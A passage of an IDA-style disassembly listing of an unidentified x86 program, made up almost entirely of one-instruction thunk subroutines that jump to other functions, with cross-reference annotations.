sub_40A800 sub_4017EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017F3 proc near ; CODE XREF: ___:00421EAAp jmp sub_422470 sub_4017F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4017F8 proc near jmp sub_40B2F0 sub_4017F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017FD proc near ; CODE XREF: sub_4068E0+205p jmp sub_41B920 sub_4017FD endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401807 proc near ; CODE XREF: ___:00427D03p jmp sub_427D30 sub_401807 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40180C proc near ; CODE XREF: ___:00425F16p ; ___:00425F47p jmp sub_4257F0 sub_40180C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401811 proc near ; CODE XREF: sub_41E760+FFp ; sub_41E760+179p ... jmp sub_421B80 sub_401811 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401816 proc near ; CODE XREF: sub_40A1F0+7p jmp sub_40A210 sub_401816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40181B proc near ; CODE XREF: sub_40B510+76p jmp sub_40B470 sub_40181B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401820 proc near ; CODE XREF: ___:00423F8Dp ; DATA XREF: ___:off_44542Co jmp sub_425100 sub_401820 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401825 proc near ; CODE XREF: sub_41E760+18Ep ; ___:0043C483j jmp sub_4219F0 sub_401825 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182A proc near ; DATA XREF: ___:off_43F10Co jmp sub_428210 sub_40182A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182F proc near ; CODE XREF: ___:00416EDFp jmp sub_417EF0 sub_40182F endp ; --------------------------------------------------------------------------- jmp loc_42FF10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401839 proc near ; CODE XREF: sub_41E760+3BCp ; sub_4226B0+3p jmp sub_421D50 sub_401839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40183E proc near ; CODE XREF: sub_427990+90p jmp sub_427C50 sub_40183E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401843 proc near ; CODE XREF: ___:0042444Dp ; sub_424920+135p jmp sub_424480 sub_401843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401848 proc near ; CODE XREF: sub_40BF20+3p ; ___:0040BFEFp ... jmp sub_40C160 sub_401848 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40184D proc near ; CODE XREF: sub_407140+36p ; sub_407140+72p ... jmp sub_407390 sub_40184D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401852 proc near ; CODE XREF: ___:00413251p jmp sub_415770 sub_401852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401857 proc near ; CODE XREF: ___:0040BAB1p ; ___:0040BB78p ... jmp sub_412B70 sub_401857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40185C proc near ; CODE XREF: ___:004332DFp ; ___:004333EFp ... jmp sub_432E20 sub_40185C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401861 proc near ; DATA XREF: ___:0043359Ao ; ___:00433700o jmp sub_432E90 sub_401861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401866 proc near ; CODE XREF: sub_416460+7p jmp sub_416840 sub_401866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40186B proc near ; CODE XREF: sub_418430+34p jmp sub_404C70 sub_40186B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401870 proc near ; CODE XREF: sub_403530+7Ap ; sub_403530+9Ep ... jmp sub_409C20 sub_401870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401875 proc near ; CODE XREF: sub_420630+152p jmp sub_4208A0 sub_401875 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187A proc near ; CODE XREF: ___:0041A328p ; sub_41B110+3p ... jmp sub_41B140 sub_40187A endp ; --------------------------------------------------------------------------- jmp loc_42B060 ; --------------------------------------------------------------------------- jmp loc_41C1E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401889 proc near ; CODE XREF: ___:00416B4Bp ; ___:0043B26Cj ... jmp sub_416E10 sub_401889 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40188E proc near ; CODE XREF: sub_410030+217p ; sub_41FE90+4Cp ... jmp sub_41FE50 sub_40188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401893 proc near ; CODE XREF: sub_42AD90+9Dp jmp sub_429450 sub_401893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401898 proc near ; CODE XREF: ___:0042D2F5p jmp sub_4290B0 sub_401898 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40189D proc near ; DATA XREF: ___:0043F184o jmp sub_42B440 sub_40189D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A2 proc near ; CODE XREF: sub_41B5B0+DDp jmp sub_41AE30 sub_4018A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A7 proc near jmp sub_4341C0 sub_4018A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018AC proc near ; CODE XREF: ___:00414295p ; sub_414E10+1B2p jmp sub_413E70 sub_4018AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B1 proc near ; CODE XREF: sub_4120B0+1B6p jmp sub_40A1F0 sub_4018B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B6 proc near ; CODE XREF: sub_41E760+5ABp jmp sub_4204D0 sub_4018B6 endp ; --------------------------------------------------------------------------- jmp loc_433000 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C0 proc near ; CODE XREF: sub_40A9F0+14p jmp sub_40ACA0 sub_4018C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C5 proc near ; CODE XREF: sub_4135E0+B4p ; ___:00414C60p ... jmp sub_415710 sub_4018C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CA proc near ; CODE XREF: sub_41A3B0+6Dp ; sub_41A3B0+1B5p jmp sub_41B060 sub_4018CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CF proc near ; CODE XREF: ___:004323CAp jmp sub_431D80 sub_4018CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018D4 proc near ; CODE XREF: sub_418F90+5Fp jmp sub_419130 sub_4018D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018D9 proc near ; CODE XREF: ___:00416B9Bp ; ___:0043B226j ... jmp sub_4179F0 sub_4018D9 endp ; --------------------------------------------------------------------------- jmp loc_419ED0 ; --------------------------------------------------------------------------- jmp sub_41A1E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018E8 proc near ; CODE XREF: sub_41E760+46p jmp sub_4219B0 sub_4018E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018ED proc near ; CODE XREF: ___:0042D425p jmp sub_42ACB0 sub_4018ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018F2 proc near ; CODE XREF: sub_422230+7p jmp sub_422620 sub_4018F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018F7 proc near ; CODE XREF: sub_4220B0+9p ; sub_422510+18p jmp sub_422690 sub_4018F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018FC proc near ; CODE XREF: sub_4222B0+8p jmp sub_422670 sub_4018FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401901 proc near ; CODE XREF: sub_4134A0+43p ; sub_4148A0+4Fp ... jmp sub_415820 sub_401901 endp ; --------------------------------------------------------------------------- jmp loc_431D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40190B proc near ; CODE XREF: sub_421AD0+1Fp jmp sub_421E50 sub_40190B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401910 proc near ; CODE XREF: sub_4219B0+11p ; sub_421E50+1Fp jmp sub_421F80 sub_401910 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401915 proc near ; CODE XREF: sub_40B470+6Dp jmp sub_40BE70 sub_401915 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40191A proc near ; CODE XREF: sub_409530+13p jmp sub_409660 sub_40191A endp ; --------------------------------------------------------------------------- jmp loc_4378B0 ; --------------------------------------------------------------------------- jmp sub_41B110 ; --------------------------------------------------------------------------- loc_401929: ; DATA XREF: ___:off_43F068o jmp loc_416DE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40192E proc near ; CODE XREF: ___:00413C01p jmp sub_413A80 sub_40192E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401933 proc near ; CODE XREF: ___:00413263p ; sub_4132F0+32p jmp sub_4155B0 sub_401933 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401938 proc near ; CODE XREF: ___:00416C4Bp ; ___:0043B18Cj ... jmp sub_417120 sub_401938 endp ; --------------------------------------------------------------------------- jmp loc_432390 ; --------------------------------------------------------------------------- jmp loc_4347E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401947 proc near ; CODE XREF: sub_41C710+F1p ; sub_41C710+270p ... jmp sub_420F10 sub_401947 endp ; --------------------------------------------------------------------------- jmp loc_40A4E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401951 proc near ; CODE XREF: sub_404CC0+283p ; sub_40EE40+D2p ... jmp sub_40F060 sub_401951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401956 proc near ; CODE XREF: sub_4219F0+34p ; sub_422340+67p jmp sub_421FD0 sub_401956 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40195B proc near ; CODE XREF: sub_404CC0+BF1p jmp sub_406730 sub_40195B endp ; --------------------------------------------------------------------------- jmp loc_433650 ; --------------------------------------------------------------------------- loc_401965: ; DATA XREF: sub_41FD00+39o jmp loc_41FC30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196A proc near ; CODE XREF: ___:0041A29Ep ; sub_41A3B0+Bp ... jmp sub_41A390 sub_40196A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196F proc near ; CODE XREF: ___:0041AC86p ; ___:0041AD66p jmp sub_41A990 sub_40196F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401974 proc near jmp sub_419320 sub_401974 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401979 proc near ; CODE XREF: sub_4119E0+2Ep ; sub_411BE0+3p jmp sub_411B20 sub_401979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40197E proc near ; CODE XREF: sub_41E760+F5p ; sub_41E760+16Fp ... jmp sub_421AA0 sub_40197E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401983 proc near ; CODE XREF: sub_409530+4p ; sub_4096E0+1Fp ... jmp sub_4095E0 sub_401983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401988 proc near jmp sub_409B10 sub_401988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40198D proc near ; CODE XREF: sub_41F960+20p ; sub_42AD90+37p jmp sub_41FF50 sub_40198D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401992 proc near ; CODE XREF: sub_4135E0+4Ap ; ___:00414C0Fp ... jmp sub_415500 sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401997 proc near ; CODE XREF: sub_40A510+A8p jmp sub_40A930 sub_401997 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40199C proc near ; CODE XREF: sub_40CC90+41p jmp sub_40CF40 sub_40199C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A1 proc near ; CODE XREF: ___:004346F5p ; ___:004347F5p jmp sub_434450 sub_4019A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A6 proc near ; CODE XREF: sub_4219F0+29p jmp sub_421EF0 sub_4019A6 endp ; --------------------------------------------------------------------------- jmp loc_42FFE0 ; --------------------------------------------------------------------------- jmp loc_42FFB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019B5 proc near ; CODE XREF: sub_40A870+Dp ; sub_40AAD0+91p jmp sub_40A9F0 sub_4019B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BA proc near ; CODE XREF: sub_422150+23p ; sub_422510+11p jmp sub_4226B0 sub_4019BA endp ; --------------------------------------------------------------------------- jmp loc_41AC20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019C4 proc near ; CODE XREF: sub_404010+2Cp ; ___:0040408Fp ... jmp sub_403530 sub_4019C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019C9 proc near ; CODE XREF: sub_422850+6p jmp sub_4228C0 sub_4019C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019CE proc near ; DATA XREF: ___:off_43F050o jmp sub_416D30 sub_4019CE endp ; --------------------------------------------------------------------------- jmp sub_40FE40 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019D8 proc near ; CODE XREF: sub_407460+4p jmp sub_407590 sub_4019D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019DD proc near ; CODE XREF: ___:0040B709p ; ___:0040BB26p ... jmp sub_40B600 sub_4019DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019E2 proc near ; CODE XREF: sub_410030+AF4p ; sub_410030+E6Ap jmp sub_411BE0 sub_4019E2 endp ; --------------------------------------------------------------------------- jmp loc_433C30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019EC proc near ; CODE XREF: sub_4145A0+CEp jmp sub_414710 sub_4019EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019F1 proc near ; DATA XREF: ___:0043F1C8o jmp sub_42CB70 sub_4019F1 endp ; --------------------------------------------------------------------------- loc_4019F6: ; DATA XREF: ___:off_43F0D0o jmp loc_41D830 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019FB proc near ; CODE XREF: sub_421B10+3p jmp sub_422030 sub_4019FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A00 proc near ; CODE XREF: ___:00416E8Fp jmp sub_40B190 sub_401A00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A05 proc near jmp sub_4133B0 sub_401A05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A0A proc near ; CODE XREF: sub_41E760+477p jmp sub_4201F0 sub_401A0A endp ; --------------------------------------------------------------------------- jmp loc_421950 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A14 proc near ; DATA XREF: ___:0043F124o jmp sub_428940 sub_401A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A19 proc near jmp sub_411C10 sub_401A19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A1E proc near ; CODE XREF: sub_4344C0+92p jmp sub_431C30 sub_401A1E endp ; --------------------------------------------------------------------------- jmp loc_4292B0 ; --------------------------------------------------------------------------- jmp loc_427D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A2D proc near ; CODE XREF: sub_421EF0+32p jmp sub_422340 sub_401A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A32 proc near ; CODE XREF: ___:00416BDBp ; sub_416D30+3p ... jmp sub_416D00 sub_401A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A37 proc near ; CODE XREF: ___:00423B04p ; ___:004285E8p ... jmp sub_420E00 sub_401A37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A3C proc near ; CODE XREF: sub_422310+Ap jmp sub_422720 sub_401A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A41 proc near ; CODE XREF: ___:00412F9Fp ; ___:00413054p ... jmp sub_404690 sub_401A41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A46 proc near ; CODE XREF: sub_409530+1Ap ; sub_409610+4p ... jmp sub_4095A0 sub_401A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A4B proc near ; DATA XREF: ___:off_43F028o jmp sub_40FE40 sub_401A4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A50 proc near ; DATA XREF: ___:0043F0E4o jmp sub_427990 sub_401A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A55 proc near ; CODE XREF: ___:00426475p jmp sub_426070 sub_401A55 endp ; --------------------------------------------------------------------------- jmp loc_409E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5F proc near ; CODE XREF: sub_415BA0+1Ep jmp sub_416650 sub_401A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A64 proc near ; CODE XREF: ___:004305E0p ; sub_4321F0+36p ... jmp sub_431630 sub_401A64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A69 proc near ; CODE XREF: sub_4138B0+3Ep jmp sub_434BF0 sub_401A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A6E proc near ; CODE XREF: sub_414A70+3p jmp sub_414AA0 sub_401A6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A73 proc near ; CODE XREF: ___:00408297p ; ___:00408728p jmp sub_409570 sub_401A73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A78 proc near ; DATA XREF: ___:0043F0E0o ; ___:0043F0F0o ... jmp sub_4276C0 sub_401A78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A7D proc near ; CODE XREF: sub_41D930+1ADp jmp sub_42DB00 sub_401A7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A82 proc near ; CODE XREF: sub_420630+191p ; sub_4228C0+3p ... jmp sub_4208C0 sub_401A82 endp ; --------------------------------------------------------------------------- jmp loc_4302E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A8C proc near ; CODE XREF: sub_4226E0+5p jmp sub_422850 sub_401A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A91 proc near ; CODE XREF: ___:00416F4Ap jmp sub_418200 sub_401A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A96 proc near ; CODE XREF: sub_407270+5p ; sub_407360+6p ... jmp sub_4074B0 sub_401A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A9B proc near ; CODE XREF: sub_403530+90p ; sub_404CC0+40Cp ... jmp sub_40A780 sub_401A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA0 proc near ; CODE XREF: sub_41D930+2FFp ; sub_41F030+52Fp jmp sub_41FE90 sub_401AA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA5 proc near ; CODE XREF: ___:004330BAp jmp sub_430B30 sub_401AA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AAA proc near ; CODE XREF: sub_415570+1Fp jmp sub_415ED0 sub_401AAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AAF proc near ; CODE XREF: sub_403530+E5p ; sub_409F50+Fp ... jmp sub_409E80 sub_401AAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB4 proc near ; CODE XREF: sub_432850+17p ; sub_432850+33p jmp sub_434A00 sub_401AB4 endp ; --------------------------------------------------------------------------- jmp loc_434770 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_427D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AC8 proc near ; CODE XREF: sub_424F70+E5p ; sub_424F70+120p jmp sub_424E20 sub_401AC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ACD proc near ; DATA XREF: ___:off_43F034o jmp sub_4120B0 sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD2 proc near ; DATA XREF: ___:0041FC33o jmp sub_41FB90 sub_401AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD7 proc near ; CODE XREF: sub_407140+Bp jmp sub_407320 sub_401AD7 endp ; --------------------------------------------------------------------------- jmp loc_433E90 ; --------------------------------------------------------------------------- loc_401AE1: ; DATA XREF: ___:off_43F020o jmp loc_40B9B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AE6 proc near ; CODE XREF: sub_403F30+2Bp ; sub_403F30+3Bp ... jmp sub_403D60 sub_401AE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AEB proc near ; CODE XREF: sub_4135E0+66p ; sub_4135E0+CAp ... jmp sub_415740 sub_401AEB endp ; --------------------------------------------------------------------------- jmp loc_41B880 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AF5 proc near jmp sub_4228F0 sub_401AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AFA proc near ; CODE XREF: ___:00416C2Bp ; ___:0043B1A8j ... jmp sub_40B250 sub_401AFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AFF proc near ; CODE XREF: ___:00421864p ; ___:0042189Ep jmp sub_4216D0 sub_401AFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B04 proc near ; CODE XREF: sub_404C30+15p jmp sub_407140 sub_401B04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B09 proc near ; DATA XREF: ___:off_43F0BCo jmp sub_41A1E0 sub_401B09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B0E proc near ; CODE XREF: ___:0041700Fp jmp sub_418A00 sub_401B0E endp ; --------------------------------------------------------------------------- loc_401B13: ; CODE XREF: ___:00439F76j jmp loc_40CBD0 ; --------------------------------------------------------------------------- loc_401B18: ; DATA XREF: ___:off_43F16Co jmp loc_42B060 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B1D proc near ; CODE XREF: sub_4170B0+28p jmp sub_418990 sub_401B1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B22 proc near ; CODE XREF: ___:00432CD7p jmp sub_432D10 sub_401B22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B27 proc near ; CODE XREF: sub_431240+Bp jmp sub_4316C0 sub_401B27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B2C proc near jmp sub_40AF80 sub_401B2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B31 proc near ; CODE XREF: ___:00418D7Bp ; sub_418F90+28p ... jmp sub_419050 sub_401B31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B36 proc near ; DATA XREF: ___:off_43F1B0o jmp sub_42C7E0 sub_401B36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B3B proc near ; CODE XREF: ___:00416B7Bp ; ___:0043B242j ... jmp sub_417AD0 sub_401B3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B40 proc near ; CODE XREF: ___:004087C7p ; ___:004087E8p ... jmp sub_4076B0 sub_401B40 endp ; --------------------------------------------------------------------------- jmp loc_414BC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4A proc near ; CODE XREF: sub_41C710+83p ; ___:004295EFp jmp sub_41D640 sub_401B4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4F proc near ; CODE XREF: sub_41A990+11p jmp sub_41A9C0 sub_401B4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B54 proc near ; CODE XREF: sub_41E760+339p jmp sub_421D10 sub_401B54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B59 proc near ; CODE XREF: sub_414D40+3p jmp sub_414D70 sub_401B59 endp ; --------------------------------------------------------------------------- jmp loc_433F90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B63 proc near ; CODE XREF: sub_430D90+29p jmp sub_430830 sub_401B63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B68 proc near ; CODE XREF: sub_40FE70+38p ; ___:0043A458j jmp sub_412C90 sub_401B68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B6D proc near jmp sub_40D660 sub_401B6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B72 proc near ; CODE XREF: sub_4076B0+3Bp ; sub_407740+43p jmp sub_40B510 sub_401B72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B77 proc near ; CODE XREF: sub_407320+3p jmp sub_4074F0 sub_401B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B7C proc near ; CODE XREF: sub_424920+9Dp ; sub_424920+FBp ... jmp sub_4246D0 sub_401B7C endp ; --------------------------------------------------------------------------- loc_401B81: ; DATA XREF: ___:off_43F084o jmp loc_426EC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B86 proc near ; CODE XREF: sub_410030+413p ; sub_410030+F69p ... jmp sub_40A040 sub_401B86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B8B proc near ; CODE XREF: ___:00426764p jmp sub_4267D0 sub_401B8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B90 proc near ; CODE XREF: sub_422150+32p jmp sub_422510 sub_401B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B95 proc near ; CODE XREF: sub_41B5B0+A5p jmp sub_41A7D0 sub_401B95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9A proc near ; CODE XREF: sub_40C040+23p ; sub_40C200+11p jmp sub_40C3A0 sub_401B9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9F proc near ; CODE XREF: ___:0042CB23p jmp sub_42CB50 sub_401B9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BA4 proc near jmp sub_41E240 sub_401BA4 endp ; --------------------------------------------------------------------------- loc_401BA9: ; DATA XREF: sub_431240+86o jmp loc_432940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BAE proc near ; CODE XREF: sub_409610+20p jmp sub_4096E0 sub_401BAE endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BB8 proc near ; DATA XREF: ___:off_43F0A4o jmp sub_40CC90 sub_401BB8 endp ; --------------------------------------------------------------------------- jmp loc_431CC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BC2 proc near ; CODE XREF: sub_421CD0+1Fp jmp sub_4220B0 sub_401BC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BC7 proc near ; CODE XREF: sub_428810+39p jmp sub_4283D0 sub_401BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BCC proc near ; CODE XREF: sub_415820+5p ; sub_415A30+6p ... jmp sub_416480 sub_401BCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD1 proc near ; CODE XREF: sub_4316C0+5Dp ; sub_432A20+3Ep jmp sub_4317C0 sub_401BD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD6 proc near ; CODE XREF: ___:00433419p ; ___:0043343Ap ... jmp sub_431EF0 sub_401BD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BDB proc near ; CODE XREF: ___:00427092p jmp sub_427C90 sub_401BDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BE0 proc near ; CODE XREF: sub_41B4D0+3p jmp sub_41B500 sub_401BE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BE5 proc near ; CODE XREF: sub_429510+3p jmp sub_429540 sub_401BE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEA proc near ; CODE XREF: sub_422B40+924p ; ___:0042416Ap jmp sub_426BD0 sub_401BEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEF proc near ; CODE XREF: sub_42E5B0+18Dp ; sub_42E5B0+1CDp ... jmp sub_42F2C0 sub_401BEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: 